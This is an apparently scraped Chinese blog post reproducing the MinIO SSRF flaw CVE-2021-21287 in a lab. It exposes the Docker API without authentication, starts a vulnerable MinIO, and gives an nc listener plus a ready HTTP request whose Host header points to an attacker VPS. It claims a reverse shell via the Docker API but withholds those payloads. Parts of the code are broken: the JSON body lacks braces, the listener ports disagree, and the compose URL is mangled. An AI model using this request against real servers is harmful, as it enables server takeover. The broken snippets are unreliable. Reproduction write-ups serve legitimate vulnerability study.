MinIO未授权SSRF漏洞复现(CVE-2021-21287)

Posted . after

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MinIO未授权SSRF漏洞复现(CVE-2021-21287)相关的知识,希望对你有一定的参考价值。

1、漏洞简介

MinIO 是一款基于Go语言发开的高性能、分布式的对象存储系统。客户端支持Java,Net,Python,Javacript, Golang语言。
由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞。
攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令。

2、影响版本

MinIO < RELEASE.2021-01-30T00-20-58Z

3、漏洞分析

MinIO 组件中 LoginSTS 接口其实是 AWS STS 登录接口的一个代理,用于将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口。
由于逻辑设计不当,MinIO 会将用户发送的 HTTP 头 Host 中获取到地址作为 URL 的 Host 来构造新的 URL,但由于请求头是用户可控的,所以可以构造任意的 Host,最终导致存在 SSRF 漏洞。

4、环境搭建

靶机:10.57.201.77
攻击机:公网vps

靶机环境搭建操作:(kali)
4.1、启用Docker API

systemctl status docker

vim lib/systemd/system/docker.service

编辑配置文件(docker.service)找到:ExecStart=/usr/bin/dockerd
修改原配置为:
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

修改之后重启:

systemctl daemon-reload

systemctl restart docker

验证:

netstat -nltp |grep 2375


4.2、启MinIO服务

mkdir CVE-2021-21287

cd CVE-2021-21287

vim docker-compose.yml

编辑docker-compose.yml:

version: '3.7'
services:
  minio1:
    image: minio/minio:RELEASE.2021-01-16T02-19-44Z
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9000:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio1...4/data1...2
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:

docker开启服务:

docker-compose -f docker-compose.yml up -d

4.3 靶场访问
访问:http://10.57.201.77:9000

5、SSRF漏洞测试

5.1 使用vps监听8888端口

nc -lvvp 888

5.2 使用burpsuit抓取登录POST数据包

5.3 burp发送repeater,构造payload

5.4、payload附件:

##数据包payload
POST /minio/webrpc HTTP/1.1
Host: $(101.x.x.x:888)
Content-Length: 79
x-amz-date: 20220927T091453Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://10.57.201.77:9000
Referer: http://10.57.201.77:9000/minio/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

"id":1,"jsonrpc":"2.0","params":"token":     "test","method":"web.LoginSTS"

6、漏洞进一步利用(反弹shell)

6.1 添加一个 DockerFile 通过 API 来进行创建容器 --成功
6.2 接管MinIO,反弹shell,控制靶机 --成功

备注:进一步利用需要vps起一个web服务(建议使用云宝塔搭建lamp),供靶机请求vps的index.php,再通过 Docker API 去 build 获取 80 端口下面的 DockerFile。
index.php及Dockerfile文件payload本文未附加!!!

7、整改建议

MinIO已更新修复了此漏洞,建议更新到新版本,下载地址: https://github.com/minio/minio

以上是关于MinIO未授权SSRF漏洞复现(CVE-2021-21287)的主要内容,如果未能解决你的问题,请参考以下文章

Grafana 未经授权的任意文件读取漏洞复现(CVE-2021-43798 )

nacos未授权-CVE-2021-29441复现

CVE-2021-43798——Grafana 未授权任意文件读取

CVE-2021-4034漏洞复现

[ vulhub漏洞复现篇 ] Django SQL注入漏洞复现 CVE-2021-35042

Exchange漏洞分析:SSRF RCE